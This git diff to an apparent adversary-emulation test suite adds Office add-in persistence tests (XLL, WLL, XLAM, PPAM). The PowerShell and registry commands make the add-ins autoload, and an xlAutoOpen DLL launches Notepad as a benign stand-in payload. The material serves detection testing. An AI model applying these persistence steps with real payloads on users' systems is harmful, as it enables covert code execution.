diff --git a/atomics/T1137.006/T1137.006.yaml b/atomics/T1137.006/T1137.006.yaml index 6ee10ecc..3a1d1d37 100644 --- a/atomics/T1137.006/T1137.006.yaml +++ b/atomics/T1137.006/T1137.006.yaml @@ -4,25 +4,201 @@ atomic_tests: - name: Code Executed Via Excel Add-in File (XLL) auto_generated_guid: 441b1a0f-a771-428a-8af0-e99e4698cda3 description: | - Downloads a XLL file and loads it using the excel add-ins library. - This causes excel to display the message "Hello World". This does not include persistent code execution. - - The provided XLL is for 64-bit versions of Excel only. If you are using a 32-bit version this will fail and "False" will - be printed to the screen. - - [Source of XLL](https://github.com/edparcell/HelloWorldXll) + Loads an XLL file using the excel add-ins library. + This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware. supported_platforms: - windows - input_arguments: - xll_url: - description: url of the file HelloWorldXll.xll - type: Url - default: 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/HelloWorldXll.xll' - local_file: - description: name of the xll file - type: Path - default: $env:tmp\HelloWorldXll.xll + dependencies: + - description: | + Microsoft Excel must be installed + prereq_command: | + try { + New-Object -COMObject "Excel.Application" | Out-Null + Stop-Process -Name "Excel" + exit 0 + } catch { exit 1 } + get_prereq_command: | + Write-Host "You will need to install Microsoft Excel manually to meet this requirement" + - description: XLL files must exist on disk at specified location + prereq_command: | + if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll") -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll")) {exit 0} else {exit 1} + get_prereq_command: |- + Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" + Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" executor: name: powershell command: | - iwr -URI '#{xll_url}' -o "#{local_file}"; (new-object -ComObject excel.application).RegisterXLL("$env:tmp\HelloWorldXll.xll") + $excelApp = New-Object -COMObject "Excel.Application" + if(-not $excelApp.path.contains("Program Files (x86)")){ + Write-Host "64-bit Office" + $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll") + } + else{ + Write-Host "32-bit Office" + $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll") + } + +- name: Persistent Code Execution Via Excel Add-in File (XLL) + description: | + Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started + The sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office. + supported_platforms: + - windows + dependencies: + - description: | + Microsoft Excel must be installed + prereq_command: | + try { + New-Object -COMObject "Excel.Application" | Out-Null + Stop-Process -Name "Excel" + exit 0 + } catch { exit 1 } + get_prereq_command: | + Write-Host "You will need to install Microsoft Excel manually to meet this requirement" + - description: XLL files must exist on disk at specified location + prereq_command: | + if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll") -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll")) {exit 0} else {exit 1} + get_prereq_command: |- + Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" + Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" + executor: + name: powershell + command: | + $excelApp = New-Object -COMObject "Excel.Application" + if(-not $excelApp.path.contains("Program Files (x86)")){ + Write-Host "64-bit Office" + Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll" + } + else{ + Write-Host "32-bit Office" + Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll" + } + $ver = $excelApp.version + $ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\Excel\Options" + Remove-Item $ExcelRegPath -ErrorAction Ignore + New-Item -type Directory $ExcelRegPath | Out-Null + New-ItemProperty $ExcelRegPath OPEN -value "/R notepad.xll" -propertyType string | Out-Null + $excelApp.Quit() + Start-Process "Excel" + cleanup_command: | + $ver = (New-Object -COMObject "Excel.Application").version + Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\Excel\Options" -ErrorAction Ignore + Stop-Process -Name "notepad","Excel" -ErrorAction Ignore + Start-Sleep 3 + Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.xll" -ErrorAction Ignore + +- name: Persistent Code Execution Via Word Add-in File (WLL) + description: | + Creates a Word Add-in file (WLL) which runs automatically when Word is started + The sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office. + Successfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office. + supported_platforms: + - windows + dependencies: + - description: | + Microsoft Word must be installed + prereq_command: | + try { + New-Object -COMObject "Word.Application" | Out-Null + Stop-Process -Name "winword" + exit 0 + } catch { exit 1 } + get_prereq_command: | + Write-Host "You will need to install Microsoft Word manually to meet this requirement" + - description: WLL files must exist on disk at specified location + prereq_command: | + if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll") -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll")) {exit 0} else {exit 1} + get_prereq_command: |- + Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x64.wll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" + Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x86.wll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" + executor: + name: powershell + command: | + $wdApp = New-Object -COMObject "Word.Application" + if(-not $wdApp.path.contains("Program Files (x86)")) + { + Write-Host "64-bit Office" + Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" + } + else{ + Write-Host "32-bit Office" + Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" + } + Stop-Process -Name "WinWord" + Start-Process "WinWord" + cleanup_command: | + Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore + Start-Sleep 3 + Remove-Item "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" -ErrorAction Ignore + +- name: Persistent Code Execution Via Excel VBA Add-in File (XLAM) + description: | + Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started + The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office. + supported_platforms: + - windows + dependencies: + - description: | + Microsoft Excel must be installed + prereq_command: | + try { + New-Object -COMObject "Excel.Application" | Out-Null + Stop-Process -Name "Excel" + exit 0 + } catch { exit 1 } + get_prereq_command: | + Write-Host "You will need to install Microsoft Excel manually to meet this requirement" + - description: XLAM file must exist on disk at specified location + prereq_command: | + if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam") {exit 0} else {exit 1} + get_prereq_command: |- + Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/ExcelVBAaddin.xlam" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" + executor: + name: powershell + command: | + Copy "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam" + Start-Process "Excel" + cleanup_command: | + Stop-Process -Name "notepad","Excel" -ErrorAction Ignore + Start-Sleep 3 + Remove-Item "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam" -ErrorAction Ignore + +- name: Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM) + description: | + Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started + The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office. + supported_platforms: + - windows + dependencies: + - description: | + Microsoft Excel must be installed + prereq_command: | + try { + New-Object -COMObject "PowerPoint.Application" | Out-Null + Stop-Process -Name "PowerPnt" + exit 0 + } catch { exit 1 } + get_prereq_command: | + Write-Host "You will need to install Microsoft PowerPoint manually to meet this requirement" + - description: PPAM file must exist on disk at specified location + prereq_command: | + if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam") {exit 0} else {exit 1} + get_prereq_command: |- + Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/PptVBAaddin.ppam" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" + executor: + name: powershell + command: | + Copy "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" "$env:APPDATA\Microsoft\Addins\notepad.ppam" + $ver = (New-Object -COMObject "PowerPoint.Application").version + $ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad" + New-Item -type Directory $ExcelRegPath -Force | Out-Null + New-ItemProperty $ExcelRegPath "Autoload" -value "1" -propertyType DWORD | Out-Null + New-ItemProperty $ExcelRegPath "Path" -value "notepad.ppam" -propertyType string | Out-Null + Stop-Process -Name "PowerPnt" -ErrorAction Ignore + Start-Process "PowerPnt" + cleanup_command: | + $ver = (New-Object -COMObject "PowerPoint.Application").version + Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad" -ErrorAction Ignore + Stop-Process -Name "notepad","PowerPnt" -ErrorAction Ignore + Start-Sleep 3 + Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.ppam" -ErrorAction Ignore \ No newline at end of file diff --git a/atomics/T1137.006/bin/Addins/ExcelVBAaddin.xlam b/atomics/T1137.006/bin/Addins/ExcelVBAaddin.xlam new file mode 100644 index 00000000..424c7938 Binary files /dev/null and b/atomics/T1137.006/bin/Addins/ExcelVBAaddin.xlam differ diff --git a/atomics/T1137.006/bin/Addins/PptVBAaddin.ppam b/atomics/T1137.006/bin/Addins/PptVBAaddin.ppam new file mode 100644 index 00000000..3bb06547 Binary files /dev/null and b/atomics/T1137.006/bin/Addins/PptVBAaddin.ppam differ diff --git a/atomics/T1137.006/bin/Addins/excelxll_x64.xll b/atomics/T1137.006/bin/Addins/excelxll_x64.xll new file mode 100644 index 00000000..32a2c1cd Binary files /dev/null and b/atomics/T1137.006/bin/Addins/excelxll_x64.xll differ diff --git a/atomics/T1137.006/bin/Addins/excelxll_x86.xll b/atomics/T1137.006/bin/Addins/excelxll_x86.xll new file mode 100644 index 00000000..d4f39bcb Binary files /dev/null and b/atomics/T1137.006/bin/Addins/excelxll_x86.xll differ diff --git a/atomics/T1137.006/bin/Addins/wordwll_x64.wll b/atomics/T1137.006/bin/Addins/wordwll_x64.wll new file mode 100644 index 00000000..90b99103 Binary files /dev/null and b/atomics/T1137.006/bin/Addins/wordwll_x64.wll differ diff --git a/atomics/T1137.006/bin/Addins/wordwll_x86.wll b/atomics/T1137.006/bin/Addins/wordwll_x86.wll new file mode 100644 index 00000000..cf6d0f4d Binary files /dev/null and b/atomics/T1137.006/bin/Addins/wordwll_x86.wll differ diff --git a/atomics/T1137.006/src/COPYING b/atomics/T1137.006/src/COPYING deleted file mode 100644 index cd20731c..00000000 --- a/atomics/T1137.006/src/COPYING +++ /dev/null @@ -1,12 +0,0 @@ -Copyright (c) 2015, Edward Parcell -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - -3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/atomics/T1137.006/src/HelloWorldXll.sln b/atomics/T1137.006/src/HelloWorldXll.sln deleted file mode 100644 index d86a261b..00000000 --- a/atomics/T1137.006/src/HelloWorldXll.sln +++ /dev/null @@ -1,28 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 14 -VisualStudioVersion = 14.0.24720.0 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HelloWorldXll", "HelloWorldXll\HelloWorldXll.vcxproj", "{0A5476B7-2700-4B0C-A72C-3054B5064E96}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|x64 = Debug|x64 - Debug|x86 = Debug|x86 - Release|x64 = Release|x64 - Release|x86 = Release|x86 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {0A5476B7-2700-4B0C-A72C-3054B5064E96}.Debug|x64.ActiveCfg = Debug|x64 - {0A5476B7-2700-4B0C-A72C-3054B5064E96}.Debug|x64.Build.0 = Debug|x64 - {0A5476B7-2700-4B0C-A72C-3054B5064E96}.Debug|x86.ActiveCfg = Debug|Win32 - {0A5476B7-2700-4B0C-A72C-3054B5064E96}.Debug|x86.Build.0 = Debug|Win32 - {0A5476B7-2700-4B0C-A72C-3054B5064E96}.Release|x64.ActiveCfg = Release|x64 - {0A5476B7-2700-4B0C-A72C-3054B5064E96}.Release|x64.Build.0 = Release|x64 - {0A5476B7-2700-4B0C-A72C-3054B5064E96}.Release|x86.ActiveCfg = Release|Win32 - {0A5476B7-2700-4B0C-A72C-3054B5064E96}.Release|x86.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.cpp b/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.cpp deleted file mode 100644 index d6bc4bf6..00000000 --- a/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.cpp +++ /dev/null @@ -1,21 +0,0 @@ -// HelloWorldXll.cpp : Defines the exported functions for the DLL application. -// - -#include "stdafx.h" - - -short __stdcall xlAutoOpen() -{ - char *text = "Hello world"; - size_t text_len = strlen(text); - XLOPER message; - message.xltype = xltypeStr; - message.val.str = (char *)malloc(text_len + 2); - memcpy(message.val.str + 1, text, text_len + 1); - message.val.str[0] = (char)text_len; - XLOPER dialog_type; - dialog_type.xltype = xltypeInt; - dialog_type.val.w = 2; - Excel4(xlcAlert, NULL, 2, &message, &dialog_type); - return 1; -} \ No newline at end of file diff --git a/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.def b/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.def deleted file mode 100644 index e1759e99..00000000 --- a/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.def +++ /dev/null @@ -1,2 +0,0 @@ -EXPORTS - xlAutoOpen diff --git a/atomics/T1137.006/src/HelloWorldXll/dllmain.cpp b/atomics/T1137.006/src/HelloWorldXll/dllmain.cpp deleted file mode 100644 index 69b58914..00000000 --- a/atomics/T1137.006/src/HelloWorldXll/dllmain.cpp +++ /dev/null @@ -1,19 +0,0 @@ -// dllmain.cpp : Defines the entry point for the DLL application. -#include "stdafx.h" - -BOOL APIENTRY DllMain( HMODULE hModule, - DWORD ul_reason_for_call, - LPVOID lpReserved - ) -{ - switch (ul_reason_for_call) - { - case DLL_PROCESS_ATTACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DETACH: - break; - } - return TRUE; -} - diff --git a/atomics/T1137.006/src/HelloWorldXll/stdafx.cpp b/atomics/T1137.006/src/HelloWorldXll/stdafx.cpp deleted file mode 100644 index 5708c398..00000000 --- a/atomics/T1137.006/src/HelloWorldXll/stdafx.cpp +++ /dev/null @@ -1,8 +0,0 @@ -// stdafx.cpp : source file that includes just the standard includes -// HelloWorldXll.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file diff --git a/atomics/T1137.006/src/HelloWorldXll/stdafx.h b/atomics/T1137.006/src/HelloWorldXll/stdafx.h deleted file mode 100644 index bf593989..00000000 --- a/atomics/T1137.006/src/HelloWorldXll/stdafx.h +++ /dev/null @@ -1,15 +0,0 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#include "targetver.h" - -#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers -// Windows Header Files: -#include - -#include -#include "xlcall.h" diff --git a/atomics/T1137.006/src/HelloWorldXll/targetver.h b/atomics/T1137.006/src/HelloWorldXll/targetver.h deleted file mode 100644 index 87c0086d..00000000 --- a/atomics/T1137.006/src/HelloWorldXll/targetver.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -// Including SDKDDKVer.h defines the highest available Windows platform. - -// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and -// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. - -#include diff --git a/atomics/T1137.006/src/excelxll/excelxll.sln b/atomics/T1137.006/src/excelxll/excelxll.sln new file mode 100644 index 00000000..b04c77d4 --- /dev/null +++ b/atomics/T1137.006/src/excelxll/excelxll.sln @@ -0,0 +1,37 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.4.33122.133 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "excelxll", "excelxll\excelxll.vcxproj", "{C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|arm64 = Debug|arm64 + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|arm64 = Release|arm64 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Debug|arm64.ActiveCfg = Debug|arm64 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Debug|arm64.Build.0 = Debug|arm64 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Debug|x64.ActiveCfg = Debug|x64 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Debug|x64.Build.0 = Debug|x64 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Debug|x86.ActiveCfg = Debug|Win32 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Debug|x86.Build.0 = Debug|Win32 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Release|arm64.ActiveCfg = Release|arm64 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Release|arm64.Build.0 = Release|arm64 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Release|x64.ActiveCfg = Release|x64 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Release|x64.Build.0 = Release|x64 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Release|x86.ActiveCfg = Release|Win32 + {C0FFF8E1-6C0F-4071-9825-3BD96F8B4D10}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {75066D4B-3C40-4314-9DBD-6EAE82744BC4} + EndGlobalSection +EndGlobal diff --git a/atomics/T1137.006/src/excelxll/excelxll/dllmain.cpp b/atomics/T1137.006/src/excelxll/excelxll/dllmain.cpp new file mode 100644 index 00000000..cf04090b --- /dev/null +++ b/atomics/T1137.006/src/excelxll/excelxll/dllmain.cpp @@ -0,0 +1,23 @@ +#include "pch.h" +#pragma comment(linker, "/EXPORT:xlAutoOpen=?xlAutoOpen@@YAXXZ") + +void xlAutoOpen() +{ + WinExec("notepad.exe", SW_SHOWNORMAL); +} + +BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved +) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} \ No newline at end of file diff --git a/atomics/T1137.006/src/excelxll/excelxll/excelxll.vcxproj b/atomics/T1137.006/src/excelxll/excelxll/excelxll.vcxproj new file mode 100644 index 00000000..e3c80a58 --- /dev/null +++ b/atomics/T1137.006/src/excelxll/excelxll/excelxll.vcxproj @@ -0,0 +1,220 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + Debug + arm64 + + + Release + arm64 + + + + 16.0 + Win32Proj + {c0fff8e1-6c0f-4071-9825-3bd96f8b4d10} + excelxll + 10.0 + + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;EXCELXLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + WIN32;NDEBUG;EXCELXLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + Level3 + true + _DEBUG;EXCELXLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + NDEBUG;EXCELXLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + Level3 + true + _DEBUG;EXCELXLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + NDEBUG;EXCELXLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + + + + + + Create + Create + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj.filters b/atomics/T1137.006/src/excelxll/excelxll/excelxll.vcxproj.filters similarity index 65% rename from atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj.filters rename to atomics/T1137.006/src/excelxll/excelxll/excelxll.vcxproj.filters index 26e577de..1e57c7b1 100644 --- a/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj.filters +++ b/atomics/T1137.006/src/excelxll/excelxll/excelxll.vcxproj.filters @@ -3,11 +3,11 @@ {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;xsd + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} @@ -15,30 +15,19 @@ - - - - + Header Files - + Header Files - - Source Files - - - Source Files - Source Files - - - + Source Files - + \ No newline at end of file diff --git a/atomics/T1137.006/src/excelxll/excelxll/excelxll.vcxproj.user b/atomics/T1137.006/src/excelxll/excelxll/excelxll.vcxproj.user new file mode 100644 index 00000000..88a55094 --- /dev/null +++ b/atomics/T1137.006/src/excelxll/excelxll/excelxll.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/atomics/T1137.006/src/excelxll/excelxll/framework.h b/atomics/T1137.006/src/excelxll/excelxll/framework.h new file mode 100644 index 00000000..54b83e94 --- /dev/null +++ b/atomics/T1137.006/src/excelxll/excelxll/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files +#include diff --git a/atomics/T1137.006/src/excelxll/excelxll/pch.cpp b/atomics/T1137.006/src/excelxll/excelxll/pch.cpp new file mode 100644 index 00000000..64b7eef6 --- /dev/null +++ b/atomics/T1137.006/src/excelxll/excelxll/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to the pre-compiled header + +#include "pch.h" + +// When you are using pre-compiled headers, this source file is necessary for compilation to succeed. diff --git a/atomics/T1137.006/src/excelxll/excelxll/pch.h b/atomics/T1137.006/src/excelxll/excelxll/pch.h new file mode 100644 index 00000000..885d5d62 --- /dev/null +++ b/atomics/T1137.006/src/excelxll/excelxll/pch.h @@ -0,0 +1,13 @@ +// pch.h: This is a precompiled header file. +// Files listed below are compiled only once, improving build performance for future builds. +// This also affects IntelliSense performance, including code completion and many code browsing features. +// However, files listed here are ALL re-compiled if any one of them is updated between builds. +// Do not add files here that you will be updating frequently as this negates the performance advantage. + +#ifndef PCH_H +#define PCH_H + +// add headers that you want to pre-compile here +#include "framework.h" + +#endif //PCH_H diff --git a/atomics/T1137.006/src/readme.md b/atomics/T1137.006/src/readme.md deleted file mode 100644 index 9f82d7ee..00000000 --- a/atomics/T1137.006/src/readme.md +++ /dev/null @@ -1,70 +0,0 @@ -# Hello World XLL - -This is a simple XLL, showing how to create an XLL from scratch. - -## Requirements - -* A 64-bit version of Excel -* [Microsoft Visual Studio 2015 Community Edition](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx) -* [The Excel 2010 SDX](https://www.microsoft.com/en-us/download/details.aspx?id=20199). Instructions assume this is installed at C:\2010 Office System Developer Resources\Excel2010XLLSDK - -## Reference - -For further details on creating XLLs, dealing with XLOPERs and correct memory handling, I recommend Steve Dalton's excellent [Financial Applications using Excel Add-in Development in C/C++](http://www.amazon.com/Financial-Applications-using-Excel-Development/dp/0470027975) - -## Build and Load Instructions - -Instructions assume the solution is at "C:\Users\Jameson\Documents\Visual Studio 2015\Projects\HelloWorldXll\HelloWorldXll.sln". Adjust the steps below according to the location your cloned this project on your system. - -- Load the solution in Visual Studio. -- Build the solution (Menu: Build... Build Solution) -- In Excel, open the Add-Ins dialog (this can be done quickly with Alt-T, I) -- Click "Browse..." -- Select the XLL at "C:\Users\Jameson\Documents\Visual Studio 2015\Projects\HelloWorldXll\x64\Debug\HelloWorldXll.xll". Click OK. -- If Excel asks "A file name '...' already exists in this location. Do you want to replace it?", click Yes. -- Click Ok. -- Excel should display a dialog that says "Hello world". This is from the XLL. Click OK to dismiss the dialog. - -## Creation instructions - -- Create a new solution (Mone: File... New... Project) -- In Templates... Other Languages... Visual C++ select Win32. Select Win32 Project. Set Name to "HelloWorldXll". Set Solution name to "HelloWorldXll". Ensure "Create directory for solution" is checked. Click OK. Note: These instructions assume the Location is set to "C:\Users\Jameson\Documents\Visual Studio 2015\Projects". Adjust the steps below according to the location you use. -- Click Next at the Overview page. -- Select Application type "DLL". Clear the checkboxes for Precompiled header and Security Development Lifecycle. Click Finish. -- In the Solution Explorer, right click the HelloWorldXll and select Properties. -- Select Configuration "All Configurations" and Platform "x64". -- In Configuration Properties...General, Set Target Extension to ".xll". -- In Configuration Properties...C/C++...General, select "Additional Include Directories", click the dropdown arrow on the right, select "Edit...". In the Additional Include Directories dialog, click the New Line icon (it looks like a folder with a red star, in the top-right corner of the window). This will create a new line in the top input box (the ungreyed one). Click the "..." button on the right of that line, which will open a Select Directory dialog. Navigate to "C:\2010 Office System Developer Resources\Excel2010XLLSDK\INCLUDE" and click "Select Folder". Click OK to set the Additional Include Directories. -- In Configuration Proporties...Linker..Input, edit the "Additional Dependencies" as with the previous step. In the top edit box (the ungreyed one), add the text "C:\2010 Office System Developer Resources\Excel2010XLLSDK\LIB\x64\XLCALL32.LIB". Click OK to set the Additional 